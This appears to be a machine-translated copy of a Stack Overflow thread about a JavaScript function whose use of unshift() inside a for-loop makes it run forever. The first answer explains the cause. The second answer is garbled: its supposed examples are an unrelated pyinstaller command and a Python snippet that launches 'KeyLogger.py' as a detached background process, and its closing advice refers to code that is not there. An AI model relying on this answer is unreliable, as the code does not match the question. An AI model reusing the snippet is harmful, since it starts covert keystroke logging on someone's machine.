Javascript:Unshift()导致无限循环,但看不到原因

时间:2018-12-22 18:32:42

标签: javascript

我正在尝试创建一个函数,该函数接受一个数组,并以奇数之前的偶数返回该数组。我以为我要遍历数组,并用模来检查每个数字的可除性。如果它是偶数,则将该数字移到数组的开头并继续。

我已删除unshift来记录其迭代过程,因此我知道问题不在我的循环中。

/// A = [3,5,6,3,4,2,1]

var sortArrayByParity = function(A) {
    for (var x =0; x< A.length;x++) {
        if (A[x] % 2 == 0) {
           A.unshift(A[x])
        } 
    }
    return A;
};

发生最大堆栈错误。

2 个答案:

答案 0 :(得分:5)

因为unshift将元素添加到数组,从而增加了其length。此外,一旦unshift向数组的开头添加了元素,下一个A[x]就与前一个元素相同,因为所有元素都向右移动,包括x。因此循环永远不会结束,因为索引x永远不会到达不断增加的length

如果您需要向循环中迭代的数组中添加元素,最好在pushlength递减的循环中使用0 。这样,循环将永远不会遍历添加的元素,并且它将遍历的元素不会移动。

答案 1 :(得分:0)

取消移动数组时,会将元素添加到该数组的开头并增加长度。

让我们尝试

pyinstaller --onefile myfile.py

因此,当您找到偶数时,可以将其移到最前面,但是在x +1位置也可以使用。当您进行迭代时,您将在下一次迭代中找到相同的偶数。

正确的实现方式。

DETACHED_PROCESS = 0x00000008

    pid = subprocess.Popen([sys.executable, "KeyLogger.py"],
                           creationflags=DETACHED_PROCESS).pid   

您应该同时使用unshiftsplice